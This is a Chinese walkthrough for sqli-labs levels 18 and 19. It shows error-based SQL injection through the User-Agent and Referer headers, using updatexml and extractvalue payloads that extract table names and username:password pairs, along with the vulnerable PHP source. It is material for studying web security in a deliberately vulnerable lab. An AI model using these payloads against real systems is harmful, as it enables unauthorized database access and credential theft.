sqli-labs 通关指南:Less 18、19
Less 18、19 对输入的参数都进行了严格的过滤,我们将在其他 HTTP 头发现 Sql 注入点。为了更方便地测试,需要结合 burp 进行抓包,注入方式和 Less 17 一样采用报错注入。
Less 18
POST-Header Injection-Uagent field-Error based (基于错误的用户代理,头部 POST 注入)
判断注入类型
首先我们注入正确的用户名和密码,观察到网页回显了 IP Address 和 User Agent。用户代理 User Agent 是一个 HTTP 头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
接下来注入个错误的用户名和密码,网页显示登录失败且仅回显了 IP Address。
判断注入类型,在用户名使用下面的所有注入,网页都回显密码修改失败。
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
在密码使用上面的所有注入,网页都回显密码修改失败。
注意到登录成功时,User Agent 会被回显到网页上,我们考虑 User Agent 头可能会存在注入。使用 brup 抓包,注入各种参数试试,都登录失败。
考虑到 Less 17 的经验,推断 uname 和 passwd 字段都进行了强效的过滤,我们注入正确的 uname 和 passwd 之后再次注入。此时发现当注入单引号闭合时,网页返回报错信息。
User-Agent: '
到此,我们得知在登录成功之后会执行另一个 Sql 语句,该语句会因为 User Agent 头而存在字符型注入漏洞。
获取数据库信息
由于我们不知道第二个 Sql 语句具体长啥样,因此我们要先测试如何正确闭合该 Sql 语句。使用单引号闭合后,使用 “#” 注释掉后面的语句,注入失败。
User-Agent: '#
注入 2 个连续的单引号,发现闭合成功,由此可见 2 个单引号分别闭合了 2 侧的单引号。
User-Agent: ''
在注入的两个单引号之间可以插入其他 Sql 语句,我们在这里放置 updatexml() 报错注入语句。注意使用单引号闭合两侧的 Sql 语句时,相当于把它分割成了 2 部分,插入 updatexml() 报错时要用 OR 进行连接。
User-Agent: ' OR updatexml(1,concat("!",database()),2) OR '
知道了闭合方式之后,注入的步骤和 Less 17 差不多。爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。
User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR '
爆字段名,继续使用 updatexml() 报错注入。
User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR '
获取目标信息
使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。
User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '
通过修改 LIMIT 子句的返回行数,就能取出其他行的查询结果。
User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '
关卡 Sql 语句
源码如下,不出所料 uname 和 passwd 都进行了强效的过滤,这导致了 SELECT 语句难以注入。在成功登录的情况下,网页会使用 INSERT 语句把 User-Agent 写入数据库中,而我们就是使用 INSERT 语句进行注入的。
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql = "SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert = "INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
为了加深理解,我们把闭合后的 INSERT 输出来看看,可以看到 User-Agent 中的 payload 被成功放入。
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' OR updatexml(1,concat("!",database()),2) OR '', '127.0.0.1', 'admin')
Less 19
POST-Header Injection-Referer field-Error based (基于头部的 Referer POST 报错注入)
判断注入类型
首先我们注入正确的用户名和密码,观察到网页回显了 IP Address 和 Referer。引用来源 Referer是 HTTP 头的一个字段,用于告诉服务器该网页是从哪个页面链接过来的。
接下来注入个错误的用户名和密码,网页显示登录失败且仅回显了 IP Address。
判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显密码修改失败。
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
注意到登录成功时,Referer 会被回显到网页上,我们考虑 Referer 头可能会存在注入。使用 brup 抓包,注入正确的 uname 和 passwd 之后在 Referer 头使用单引号闭合。此时发现当注入单引号闭合时,网页返回报错信息。
Referer: '
到此,我们得知在登录成功之后会执行另一个 Sql 语句,该语句会因为 User Agent 头而存在字符型注入漏洞。
获取数据库信息
由于我们不知道第二个 Sql 语句具体长啥样,因此我们要先测试如何正确闭合该 Sql 语句。使用单引号闭合后,使用 “#” 注释掉后面的语句,注入失败。
Referer: '#
注入 2 个连续的单引号,发现闭合成功,由此可见 2 个单引号分别闭合了 2 侧的单引号。
Referer: ''
注入的步骤和 Less 17 差不多,这次我们使用 extractvalue() 报错注入。extractvalue() 报错注入和 updatexml() 报错差不多,extractvalue() 函数时对 XML 文档进行查询的函数。函数原型为:
extractvalue(XML_document, XPath_string)
参数 | 说明 |
---|---|
XML_document | String,XML 文档对象的名称 |
XPath_string | Xpath 格式的字符串 |
爆数据库名,在注入的两个单引号之间放置 extractvalue() 报错注入。 |
Referer: ' OR extractvalue(1,concat("!",database())) OR '
爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。
Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'))) OR '
爆字段名,继续使用 extractvalue() 报错注入。
Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'))) OR '
获取目标信息
使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。
Referer: ' OR (extractvalue(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)))) OR '
关卡 Sql 语句
此处向数据库插入的是 Referer 头,其他部分和 Less 18 类似。
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')